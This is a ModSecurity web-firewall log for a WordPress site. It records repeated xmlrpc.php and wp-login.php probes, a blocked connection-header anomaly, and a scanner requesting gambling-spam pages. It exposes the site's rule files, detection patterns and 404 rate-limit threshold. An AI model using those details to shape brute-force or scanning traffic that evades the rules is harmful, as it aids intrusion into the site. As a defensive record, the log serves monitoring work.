[Sat Jan 31 21:47:33.985603 2026] [:error] [pid 39242:tid 39272] [client 157.90.6.50:55048] [client 157.90.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4H9dOgXnkKGGSSCINHtgAAABI"]
[Sat Jan 31 21:47:41.832897 2026] [:error] [pid 31465:tid 31496] [client 157.90.6.50:42122] [client 157.90.6.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.6.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4H_TkaGp475ez0mlwbmwAAAkI"]
[Sat Jan 31 21:59:17.642405 2026] [:error] [pid 18803:tid 18828] [client 45.86.202.179:41355] [client 45.86.202.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX4KtS2kTcRk9EBIxOGdJwAAAhY"]
[Sat Jan 31 21:59:17.716676 2026] [:error] [pid 18773:tid 18775] [client 45.86.202.160:63189] [client 45.86.202.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX4KtdHy21j24IPrB1X3UgAAAYA"]
[Sat Jan 31 22:02:31.273520 2026] [:error] [pid 39339:tid 39347] [client 92.205.213.177:44472] [client 92.205.213.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.213.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4Ld8Wi-IjigR3oHY6LugAAAMY"]
[Sat Jan 31 22:07:33.583483 2026] [:error] [pid 31465:tid 31505] [client 20.93.54.24:25408] [client 20.93.54.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.93.54.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4MpTkaGp475ez0mlwgcQAAAks"]
[Sat Jan 31 22:35:07.889950 2026] [:error] [pid 44533:tid 44565] [client 152.53.90.232:50034] [client 152.53.90.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.90.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4TG4Njc98kHMNVmntYSQAAAcI"]
[Sat Jan 31 22:53:34.799520 2026] [:error] [pid 39242:tid 39271] [client 135.125.181.4:35686] [client 135.125.181.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.125.181.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4XbtOgXnkKGGSSCINT-AAAABE"]
[Sat Jan 31 23:44:31.457405 2026] [:error] [pid 18803:tid 18819] [client 47.242.152.148:48930] [client 47.242.152.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.152.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4jXy2kTcRk9EBIxOGxSQAAAg0"]
[Sat Jan 31 23:52:52.249823 2026] [:error] [pid 18803:tid 18807] [client 212.154.75.77:54171] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4lVC2kTcRk9EBIxOGy8AAAAgE"]
[Sat Jan 31 23:53:00.034505 2026] [:error] [pid 18803:tid 18828] [client 203.162.234.20:58504] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4lXC2kTcRk9EBIxOGy_wAAAhY"]
[Sat Jan 31 23:53:03.782925 2026] [:error] [pid 39242:tid 39269] [client 62.192.188.82:36518] [client 62.192.188.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.192.188.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4lX9OgXnkKGGSSCINdGwAAAA8"]
[Sat Jan 31 23:53:11.547418 2026] [:error] [pid 31430:tid 31449] [client 198.54.126.134:58658] [client 198.54.126.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.126.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4lZ8cb14YPxXg_g5FmrwAAAE8"]
[Sat Jan 31 23:53:21.079634 2026] [:error] [pid 31465:tid 31498] [client 47.141.128.125:40434] [client 47.141.128.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.141.128.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX4lcTkaGp475ez0mlw_fAAAAkQ"]
[Sat Jan 31 23:55:22.335760 2026] [:error] [pid 59582:tid 59636] [client 45.86.202.190:53651] [client 45.86.202.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX4l6o5dwpvvp1Lc6f2TXAAAA9c"]
[Sat Jan 31 23:55:22.335800 2026] [:error] [pid 18773:tid 18775] [client 45.86.202.161:25243] [client 45.86.202.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX4l6tHy21j24IPrB1UHRgAAAYA"]
[Sun Feb 01 01:09:17.147951 2026] [:error] [pid 59523:tid 59529] [client 103.75.185.145:48098] [client 103.75.185.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.75.185.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX43PZEkxOIGmVhqUWKoMgAAAwI"]
[Sun Feb 01 01:29:19.684212 2026] [:error] [pid 31465:tid 31511] [client 103.253.125.191:56168] [client 103.253.125.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.125.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX477zkaGp475ez0mlxdtAAAAlE"]
[Sun Feb 01 01:34:34.084703 2026] [:error] [pid 44532:tid 44552] [client 45.86.202.175:48701] [client 45.86.202.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX49KsH-68uYbAtfrZ23TQAAAVA"]
[Sun Feb 01 01:34:34.085172 2026] [:error] [pid 31465:tid 31494] [client 45.86.202.180:52903] [client 45.86.202.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX49KjkaGp475ez0mlxfFwAAAkA"]
[Sun Feb 01 02:07:00.605934 2026] [:error] [pid 59523:tid 59532] [client 138.122.71.215:33292] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.71.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5ExJEkxOIGmVhqUWKwqAAAAwU"]
[Sun Feb 01 02:07:35.008626 2026] [:error] [pid 44533:tid 44573] [client 176.31.224.40:51648] [client 176.31.224.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.31.224.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5E54Njc98kHMNVmnt9cwAAAco"]
[Sun Feb 01 02:26:38.306120 2026] [:error] [pid 44532:tid 44544] [client 217.160.134.14:56532] [client 217.160.134.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.134.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5JXsH-68uYbAtfrZ2_0gAAAUg"]
[Sun Feb 01 02:34:40.812482 2026] [:error] [pid 59582:tid 59618] [client 162.19.25.160:50606] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5LQI5dwpvvp1Lc6f2p_AAAA8c"]
[Sun Feb 01 02:43:40.657537 2026] [:error] [pid 39242:tid 39255] [client 46.101.228.235:42918] [client 46.101.228.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.228.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5NXNOgXnkKGGSSCIN-NAAAAAE"]
[Sun Feb 01 03:01:38.092463 2026] [:error] [pid 39339:tid 39346] [client 87.106.28.217:45992] [client 87.106.28.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.106.28.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5RksWi-IjigR3oHY7QoAAAAMU"]
[Sun Feb 01 03:12:55.409029 2026] [:error] [pid 31430:tid 31452] [client 45.86.202.176:37489] [client 45.86.202.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX5UN8cb14YPxXg_g5GG3gAAAFI"]
[Sun Feb 01 03:12:55.416185 2026] [:error] [pid 59523:tid 59549] [client 45.86.202.174:30937] [client 45.86.202.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX5UN5EkxOIGmVhqUWK6PgAAAxY"]
[Sun Feb 01 03:23:57.955046 2026] [:error] [pid 44251:tid 44356] [client 147.79.68.118:43662] [client 147.79.68.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.79.68.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5WzZQ_zmwT1jSymJEUVQAAAFg"]
[Sun Feb 01 03:37:57.846246 2026] [:error] [pid 44251:tid 44343] [client 216.250.113.228:57678] [client 216.250.113.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.250.113.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5aFZQ_zmwT1jSymJEZyAAAAFE"]
[Sun Feb 01 04:14:21.376478 2026] [:error] [pid 44634:tid 44714] [client 95.216.90.224:50406] [client 95.216.90.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.90.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5inV_6Vo-O9L12m3BeTAAAAJE"]
[Sun Feb 01 04:22:20.775075 2026] [:error] [pid 10508:tid 10545] [client 50.6.35.18:57380] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5kfAFwdoMQv5EWp9tCLgAAAEE"]
[Sun Feb 01 04:22:33.699744 2026] [:error] [pid 10616:tid 10639] [client 47.94.14.136:56892] [client 47.94.14.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.94.14.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5kiWd8pZdmVx6pUp6l7wAAANM"]
[Sun Feb 01 04:45:15.397606 2026] [:error] [pid 10506:tid 10525] [client 14.215.163.132:52205] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX5p2632IC2Db4uwFyOEjQAAAAk"]
[Sun Feb 01 04:51:46.828498 2026] [:error] [pid 10506:tid 10524] [client 45.86.202.168:50495] [client 45.86.202.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX5rYq32IC2Db4uwFyOG4AAAAAg"]
[Sun Feb 01 04:51:46.842063 2026] [:error] [pid 10508:tid 10567] [client 45.86.202.202:49413] [client 45.86.202.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aX5rYgFwdoMQv5EWp9tMFQAAAFc"]
[Sun Feb 01 05:20:00.126869 2026] [:error] [pid 10509:tid 10577] [client 46.62.137.167:47766] [client 46.62.137.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.137.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX5yAFMNpJBihOJgwVvUBAAAAIY"]
[Sun Feb 01 06:12:05.089390 2026] [:error] [pid 2033:tid 2047] [client 81.167.26.57:63866] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aX5-NfF7B4oR5nK3T_P9HwAAAQw"]
[Sun Feb 01 06:12:07.039148 2026] [:error] [pid 2033:tid 2049] [client 81.167.26.57:47162] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aX5-N_F7B4oR5nK3T_P9IwAAAQ4"]
[Sun Feb 01 06:12:09.179877 2026] [:error] [pid 10509:tid 10594] [client 81.167.26.57:42658] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aX5-OVMNpJBihOJgwVvoDQAAAJc"]
[Sun Feb 01 06:12:11.962541 2026] [:error] [pid 10506:tid 10523] [client 81.167.26.57:16378] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aX5-O632IC2Db4uwFyOhLwAAAAc"]
[Sun Feb 01 06:12:13.957083 2026] [:error] [pid 10506:tid 10533] [client 81.167.26.57:43048] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aX5-Pa32IC2Db4uwFyOhNgAAABE"]
[Sun Feb 01 06:12:16.005629 2026] [:error] [pid 10506:tid 10526] [client 81.167.26.57:14944] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aX5-QK32IC2Db4uwFyOhOQAAAAo"]
[Sun Feb 01 06:12:18.017808 2026] [:error] [pid 10616:tid 10620] [client 81.167.26.57:7156] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aX5-Qmd8pZdmVx6pUp7idwAAAMA"]
[Sun Feb 01 06:12:20.072164 2026] [:error] [pid 2033:tid 2039] [client 81.167.26.57:8415] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aX5-RPF7B4oR5nK3T_P9PQAAAQQ"]
[Sun Feb 01 06:12:22.261109 2026] [:error] [pid 10616:tid 10629] [client 81.167.26.57:12230] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aX5-Rmd8pZdmVx6pUp7igQAAAMk"]
[Sun Feb 01 06:12:24.436846 2026] [:error] [pid 10509:tid 10578] [client 81.167.26.57:16491] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aX5-SFMNpJBihOJgwVvoMgAAAIc"]
[Sun Feb 01 06:12:26.587091 2026] [:error] [pid 10509:tid 10580] [client 81.167.26.57:12757] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aX5-SlMNpJBihOJgwVvoPAAAAIk"]
[Sun Feb 01 06:12:28.740690 2026] [:error] [pid 10616:tid 10629] [client 81.167.26.57:12334] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aX5-TGd8pZdmVx6pUp7ilgAAAMk"]
[Sun Feb 01 06:12:30.916630 2026] [:error] [pid 2033:tid 2046] [client 81.167.26.57:35190] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aX5-TvF7B4oR5nK3T_P9WQAAAQs"]
[Sun Feb 01 06:12:32.924740 2026] [:error] [pid 10506:tid 10523] [client 81.167.26.57:47564] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aX5-UK32IC2Db4uwFyOhWQAAAAc"]
[Sun Feb 01 06:12:34.952080 2026] [:error] [pid 2033:tid 2063] [client 81.167.26.57:40657] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX5-UvF7B4oR5nK3T_P9YQAAARY"]
[Sun Feb 01 06:12:37.129930 2026] [:error] [pid 10506:tid 10533] [client 81.167.26.57:41819] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aX5-Va32IC2Db4uwFyOhXwAAABE"]
[Sun Feb 01 06:12:39.278394 2026] [:error] [pid 10508:tid 10544] [client 81.167.26.57:43606] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aX5-VwFwdoMQv5EWp9toYAAAAEA"]
[Sun Feb 01 06:12:41.293616 2026] [:error] [pid 2033:tid 2037] [client 81.167.26.57:2054] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX5-WfF7B4oR5nK3T_P9aQAAAQI"]
[Sun Feb 01 06:12:44.345714 2026] [:error] [pid 10508:tid 10568] [client 81.167.26.57:38584] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX5-XAFwdoMQv5EWp9tobwAAAFg"]
